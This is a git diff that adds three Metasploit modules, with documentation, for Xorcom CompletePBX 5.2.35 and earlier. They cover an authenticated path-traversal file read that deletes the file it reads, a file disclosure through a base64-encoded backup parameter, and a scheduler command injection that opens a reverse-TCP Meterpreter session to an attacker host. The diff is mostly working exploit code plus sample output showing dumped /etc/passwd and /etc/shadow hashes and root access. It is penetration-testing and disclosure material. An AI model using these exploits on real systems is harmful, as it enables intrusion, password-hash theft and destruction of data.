diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md new file mode 100644 index 0000000000..b16bd53ce4 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.md @@ -0,0 +1,116 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated Arbitrary File Read and Deletion** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue arises due to improper validation of the `systemDataFileName` parameter in the `diagnostics` module, +allowing an attacker to retrieve arbitrary files from the system. + +Additionally, this vulnerability **automatically deletes the requested file** after being accessed, +leading to potential data loss on the target. + +The vulnerability is identified as **CVE-2025-30005**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use auxiliary/admin/http/xorcom_completepbx_diagnostics_file_read +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Specify the file to read (before deletion): +``` +set TARGETFILE /etc/passwd +``` +7. Execute the module: +``` +run +``` +8. If successful, the contents of the specified file will be displayed before its deletion. + +## Options + +- `USERNAME`: Admin username for authentication. +- `PASSWORD`: Admin password for authentication. +- `TARGETFILE`: Path of the file to retrieve (**before automatic deletion**). + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 auxiliary(xorcom_completepbx_diagnostics_file_read) > run https://rnd-repo.cpbxmt-demo187.xorcom.com +[*] Running module against 142.93.233.32 + +[*] Attempting authentication with username: admin +[+] Authentication successful! Session ID: sid=c8f08002130196439747e488447260f48d595c51 +[*] Attempting to read file: ../../../../../../../../../../../etc/passwd +[*] ZIP file received, attempting to list files +[*] Files inside ZIP archive: + - ../../../../../../../../../../../etc/passwd + - full_20250318_160522 + - audit_20250318_160522.log +[+] Content of /etc/passwd: +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +_apt:x:100:65534::/nonexistent:/usr/sbin/nologin +systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin +systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +messagebus:x:104:105::/nonexistent:/usr/sbin/nologin +systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin +mysql:x:105:108:MySQL Server,,,:/nonexistent:/bin/false +postfix:x:106:110::/var/spool/postfix:/usr/sbin/nologin +tcpdump:x:107:112::/nonexistent:/usr/sbin/nologin +sshd:x:108:65534::/run/sshd:/usr/sbin/nologin +dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin +Debian-snmp:x:110:113::/var/lib/snmp:/bin/false +asterisk:x:111:114:Asterisk PBX daemon,,,:/var/lib/asterisk:/usr/sbin/nologin +cc-cloud-rec:x:998:998::/var/lib/cc-cloud-rec:/sbin/nologin + +[!] WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it. +[*] Auxiliary module execution completed +``` + +### Impact + +- This vulnerability grants **file read access**, but also **automatically deletes** the retrieved file. +- Attackers can extract sensitive data (e.g., user credentials) while simultaneously causing **data loss** on the system. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md new file mode 100644 index 0000000000..644eb83d64 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.md @@ -0,0 +1,109 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated File Disclosure** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue arises due to improper handling of user-supplied input +in the **core download functionality**, allowing an attacker to read arbitrary files on the system with **root privileges**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use auxiliary/admin/http/xorcom_completepbx_file_disclosure +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Specify the file to read: +``` +set TARGETFILE /etc/shadow +``` +7. Execute the module: +``` +run +``` +8. If successful, the contents of the specified file will be displayed. + +## Options + +- `USERNAME`: Admin username for authentication. +- `PASSWORD`: Admin password for authentication. +- `TARGETFILE`: Path of the file to retrieve (Base64-encoded in request). + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 auxiliary(admin/http/xorcom_completepbx_file_disclosure) > run http://192.168.56.101/ +[*] Running module against 192.168.56.101 +[*] Attempting authentication with username: admin +[+] Authentication successful! Session ID: sid=535c401396c04a4c92266c2d1457200e6f7c391a +[*] Attempting to read file: /etc/shadow (Encoded as: ,L2V0Yy9zaGFkb3c=) +[+] Content of /etc/shadow: +root:$y$j9T$/vXScZij/ykAtLtP9H1nQ/$KK43hfpOrxdZwAZljjvS5dnF0ipg8NqpCOj9gbLJ9OA:19829:0:99999:7::: +daemon:*:19829:0:99999:7::: +bin:*:19829:0:99999:7::: +sys:*:19829:0:99999:7::: +sync:*:19829:0:99999:7::: +games:*:19829:0:99999:7::: +man:*:19829:0:99999:7::: +lp:*:19829:0:99999:7::: +mail:*:19829:0:99999:7::: +news:*:19829:0:99999:7::: +uucp:*:19829:0:99999:7::: +proxy:*:19829:0:99999:7::: +www-data:*:19829:0:99999:7::: +backup:*:19829:0:99999:7::: +list:*:19829:0:99999:7::: +irc:*:19829:0:99999:7::: +_apt:*:19829:0:99999:7::: +nobody:*:19829:0:99999:7::: +systemd-network:!*:19829:::::: +systemd-timesync:!*:19829:::::: +messagebus:!:19829:::::: +avahi-autoipd:!:19829:::::: +sshd:!:19829:::::: +pbx:$y$j9T$u6FpdD4iJVvFEqtUSAoFP/$P5iBn5ljpYEwcuXj4F9n6SBlMgWyxjqBDK82ija9Te5:19829:0:99999:7::: +mysql:!:19829:::::: +postfix:!:19829:::::: +tcpdump:!:19829:::::: +Debian-snmp:!:19829:::::: +_chrony:!:19829:::::: +dnsmasq:!:19829:::::: +polkitd:!*:19829:::::: +asterisk:!:19829:::::: +cc-cloud-rec:!:19829:::::: +
Fatal error: Uncaught TypeError: proc_close(): supplied resource is not a valid process resource in /usr/share/ombutel/www/includes/helper.php:61 +Stack trace: +#0 /usr/share/ombutel/www/includes/helper.php(61): proc_close() +#1 [internal function]: ombutel\helper::ombutel\{closure}() #2 {main} thrown in /usr/share/ombutel/www/includes/helper.php on line 61
+ +[*] Auxiliary module execution completed +``` + +### Impact + +- This vulnerability grants **full read access to system files as root**. +- Attackers can retrieve **hashed passwords, SSH keys, and configuration files**, +leading to **privilege escalation** and potential full system compromise. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md new file mode 100644 index 0000000000..993f62bc0d --- /dev/null +++ b/documentation/modules/exploit/linux/http/xorcom_completepbx_scheduler.md @@ -0,0 +1,99 @@ +## Vulnerable Application + +This Metasploit module exploits an **Authenticated Command Injection** vulnerability in **Xorcom CompletePBX <= 5.2.35**. +The issue resides in the task scheduler functionality, where user-controlled input is improperly sanitized, allowing +arbitrary command execution with web server privileges. + +Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit. +Even when creating a new user with maximum privileges, the vulnerability does not work. + +The vulnerability is identified as **CVE-2025-30004**. + +### Setup + +Download the ova file here: [](https://archive.org/details/completepbx-5-2-27-vuln) + +## Verification Steps + +1. Deploy a vulnerable instance of **Xorcom CompletePBX <= 5.2.35**. +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use exploit/linux/http/xorcom_completepbx_scheduler_rce +``` +4. Set the **target host**: +``` +set RHOSTS [TARGET_IP] +``` +5. Set authentication credentials: +``` +set USERNAME [VALID_ADMIN_USERNAME] +set PASSWORD [VALID_ADMIN_PASSWORD] +``` +6. Configure the payload: +``` +set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +set LHOST [ATTACKER_IP] +set LPORT [LISTENER_PORT] +``` +7. Execute the module: +``` +run +``` +8. If successful, a **Meterpreter session** will be opened on the target. + +## Options + +- `USERNAME`: Admin username for authentication. +- `PASSWORD`: Admin password for authentication. + +## Scenarios + +### Successful Exploitation Against a Vulnerable CompletePBX Instance + +**Setup**: + +- **Target**: Xorcom CompletePBX <= 5.2.35 +- **Attacker**: Metasploit Framework instance + +**Steps**: + +```bash +msf6 exploit(linux/http/xorcom_completepbx_scheduler) > run http://192.168.56.101/ +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking if the target is running CompletePBX... +[+] Detected CompletePBX on 192.168.56.101:80 +[+] The target appears to be vulnerable. +[*] Attempting authentication with username: admin +[+] Authentication successful! Session ID: sid=3b6c002860ddb5ca104e25eaa439b35052c443df +[*] Creating malicious scheduled task with description: Ut quis eum sed. +[+] Malicious task successfully created. +[*] Retrieving latest task ID for description: Ut quis eum sed.... +[+] Found task with ID: 38 +[*] Executing malicious task ID 38... +[*] Sending stage (3045380 bytes) to 192.168.56.101 +[+] Task executed successfully! +[*] Sending delete request (mode=delete) for task ID 38... +[*] Sending delete request (mode=deleteConfirmed) for task ID 38... +[+] Task 38 deleted successfully! +[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:33372) at 2025-03-18 17:18:23 +0100 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : localhost.localdomain +OS : Debian 12.5 (Linux 6.1.0-20-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` + +### Impact + +- This vulnerability grants **remote code execution** capabilities. +- Attackers can execute arbitrary commands as the **web server user**, potentially leading to full system compromise. +- Exploitation provides a **Meterpreter session** for post-exploitation activities. + +This module is designed to **demonstrate and automate** the exploitation of this issue using the Metasploit framework. diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb new file mode 100644 index 0000000000..9067f99989 --- /dev/null +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_diagnostics_file_read.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + update_info( + info, + 'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName', + 'Description' => %q{ + This module exploits an authenticated path traversal vulnerability in + Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the + `systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers + to retrieve arbitrary files from the system. + + Additionally, the exploitation of this vulnerability results in the **deletion** of the + requested file from the target system. + + The vulnerability is identified as CVE-2025-30005. + }, + 'Author' => ['Valentin Lobstein'], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-30005'], + ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RHOST, + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), + OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']), + OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd']) + ] + ) + end + + def login + print_status("Attempting authentication with username: #{datastore['USERNAME']}") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'userid' => datastore['USERNAME'], + 'userpass' => datastore['PASSWORD'] + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first + + unless sid_cookie + fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') + end + + print_good("Authentication successful! Session ID: #{sid_cookie}") + return sid_cookie + end + + def run + sid_cookie = login + target_file = "../../../../../../../../../../..#{datastore['TARGETFILE']}" + + print_status("Attempting to read file: #{target_file}") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'GET', + 'headers' => { + 'Cookie' => sid_cookie + }, + 'vars_get' => { + 'class' => 'diagnostics', + 'method' => 'stopMode', + 'systemDataFileName' => target_file + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + body = res.body.lines[0..-2].join + + if res.headers['Content-Type']&.include?('application/zip') + print_status('ZIP file received, attempting to list files') + + files_list = list_files_in_zip(body) + + if files_list.empty? + fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.') + end + + print_status("Files inside ZIP archive:\n - " + files_list.join("\n - ")) + + extracted_content = read_file_from_zip(body, File.basename(target_file), files_list) + + if extracted_content + print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}") + else + fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.') + end + else + print_good("Raw file content received:\n#{body}") + end + + print_warning('WARNING: This exploit causes the deletion of the requested file on the target if the privileges allows it.') + end + + def list_files_in_zip(zip_data) + files = [] + + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + files << entry.name + end + end + + files + end + + def read_file_from_zip(zip_data, target_filename, files_list) + file_content = nil + + possible_matches = files_list.select { |f| f.include?(target_filename) } + + if possible_matches.empty? + return nil + end + + correct_filename = possible_matches.first + + ::Zip::InputStream.open(StringIO.new(zip_data)) do |io| + while (entry = io.get_next_entry) + if entry.name == correct_filename + file_content = io.read + break + end + end + end + + file_content + end +end diff --git a/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb new file mode 100644 index 0000000000..60bc4b949a --- /dev/null +++ b/modules/auxiliary/scanner/http/xorcom_completepbx_file_disclosure.rb @@ -0,0 +1,119 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + + def initialize + super( + update_info( + info, + 'Name' => 'CompletePBX Authenticated File Disclosure via Backup Download', + 'Description' => %q{ + This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35. + The issue resides in the backup download function, where user input is not properly validated, + allowing an attacker to access arbitrary files on the system as root. + + The vulnerability is triggered by setting the `backup` parameter to a Base64-encoded + absolute file path, prefixed by a comma `,`. This results in the server exposing the + file contents directly. + }, + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-2292'], + ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Privileged' => true, + 'DisclosureDate' => '2025-03-02', + 'Platform' => ['linux', 'unix'], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options( + [ + Opt::RHOST, + Opt::RPORT(80), + OptString.new('TARGETURI', [true, 'Base path of the CompletePBX instance', '/']), + OptString.new('USERNAME', [true, 'Username for authentication', 'admin']), + OptString.new('PASSWORD', [true, 'Password for authentication', 'admin']), + OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow']) + ] + ) + end + + def login + print_status("Attempting authentication with username: #{datastore['USERNAME']}") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'userid' => datastore['USERNAME'], + 'userpass' => datastore['PASSWORD'] + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first + + unless sid_cookie + fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') + end + + print_good("Authentication successful! Session ID: #{sid_cookie}") + return sid_cookie + end + + def run + sid_cookie = login + encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE']) + + print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI']), + 'method' => 'GET', + 'headers' => { + 'Cookie' => sid_cookie + }, + 'vars_get' => { + 'class' => 'core', + 'method' => 'download', + 'backup' => encoded_path + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + if res.body.empty? + fail_with(Failure::NotVulnerable, 'No content retrieved, the server may not be vulnerable or the file is empty.') + end + + print_good("Content of #{datastore['TARGETFILE']}:\n#{res.body}") + end +end diff --git a/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb new file mode 100644 index 0000000000..2f90c25fdb --- /dev/null +++ b/modules/exploits/linux/http/xorcom_completepbx_scheduler.rb @@ -0,0 +1,244 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Xorcom CompletePBX Authenticated Command Injection via Task Scheduler', + 'Description' => %q{ + This module exploits an authenticated command injection vulnerability in Xorcom CompletePBX + versions <= 5.2.35. The issue resides in the task scheduler functionality, where user-controlled + input is improperly sanitized, allowing arbitrary command execution with web server privileges. + + Only the **superadmin** user (`admin`) has the necessary permissions to trigger this exploit. + Even when creating a new user with maximum privileges, the vulnerability does not work. + }, + 'Author' => [ + 'Valentin Lobstein' # Research and module development + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-30004'], + ['URL', 'https://www.xorcom.com/products/completepbx/'], + ['URL', 'https://chocapikk.com/posts/2025/completepbx/'] + ], + 'Privileged' => false, + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2025-03-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('USERNAME', [true, 'Valid CompletePBX username']), + OptString.new('PASSWORD', [true, 'Valid CompletePBX password']), + ]) + end + + def check + print_status('Checking if the target is running CompletePBX...') + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + }) + + return Exploit::CheckCode::Unknown('No response from target.') unless res + return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}") unless res.code == 200 + + doc = res.get_html_document + + if doc.at('//meta[@name="description"][@content="CompletePBX"]') || + doc.at('//meta[@name="application-name"][@content="Ombutel"]') + + print_good("Detected CompletePBX on #{peer}") + return Exploit::CheckCode::Appears + end + + return Exploit::CheckCode::Safe('Target does not appear to be running CompletePBX.') + end + + def login + print_status("Attempting authentication with username: #{datastore['USERNAME']}") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'login'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'userid' => datastore['USERNAME'], + 'userpass' => datastore['PASSWORD'] + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target') + end + + unless res.code == 200 + fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") + end + + sid_cookie = res.get_cookies.scan(/sid=[a-f0-9]+/).first + + unless sid_cookie + fail_with(Failure::NoAccess, 'Authentication failed: No session ID received') + end + + print_good("Authentication successful! Session ID: #{sid_cookie}") + return sid_cookie + end + + def get_latest_task_id(sid_cookie, task_desc) + print_status("Retrieving latest task ID for description: #{task_desc}...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'vars_get' => { + 'class' => 'scheduler', + 'method' => 'tasks', + 'offset' => '0', + 'max' => '20', + 'search' => '' + }, + 'cookie' => sid_cookie + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target while fetching tasks') + end + + json_res = res.get_json_document + tasks = json_res['rows'] + + unless tasks + fail_with(Failure::UnexpectedReply, 'Failed to retrieve task list') + end + + tasks.each do |task| + if task[2] == task_desc + print_good("Found task with ID: #{task[0]}") + return task[0] + end + end + + fail_with(Failure::NotFound, "Could not find the task with description: #{task_desc}") + end + + def create_task(sid_cookie) + task_desc = Faker::Lorem.sentence(word_count: 4) + notes = Faker::Lorem.paragraph(sentence_count: 3) + print_status("Creating malicious scheduled task with description: #{task_desc}") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'script' => 'backup', + 'description' => task_desc, + 'starting' => Time.now.strftime('%Y-%m-%d %H:%M'), + 'interval' => '1', + 'interval_unit' => 'month', + 'parameters' => "$(#{payload.encoded})", + 'notes' => notes, + 'data' => '0', + 'class' => 'scheduler', + 'method' => 'save_task', + 'mode' => 'create' + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target while creating task') + end + + json_res = res.get_json_document + state = json_res['state'] + + if state == 'success' + print_good('Malicious task successfully created.') + return task_desc + else + fail_with(Failure::UnexpectedReply, 'Failed to create the malicious task') + end + end + + def run_task(sid_cookie, task_id) + print_status("Executing malicious task ID #{task_id}...") + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'class' => 'scheduler', + 'method' => 'run_task', + 'mode' => 'run', + 'data' => task_id.to_s + } + }) + + unless res + fail_with(Failure::Unreachable, 'No response from target while executing task') + end + + print_good('Task executed successfully!') + end + + def delete_task(sid_cookie, task_id) + %w[delete deleteConfirmed].each do |mode| + print_status("Sending delete request (mode=#{mode}) for task ID #{task_id}...") + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'cookie' => sid_cookie, + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + 'class' => 'scheduler', + 'method' => 'delete_task', + 'mode' => mode, + 'data' => task_id.to_s + } + }) + end + + print_good("Task #{task_id} deleted successfully!") + end + + def exploit + sid_cookie = login + task_desc = create_task(sid_cookie) + task_id = get_latest_task_id(sid_cookie, task_desc) + run_task(sid_cookie, task_id) + delete_task(sid_cookie, task_id) + end +end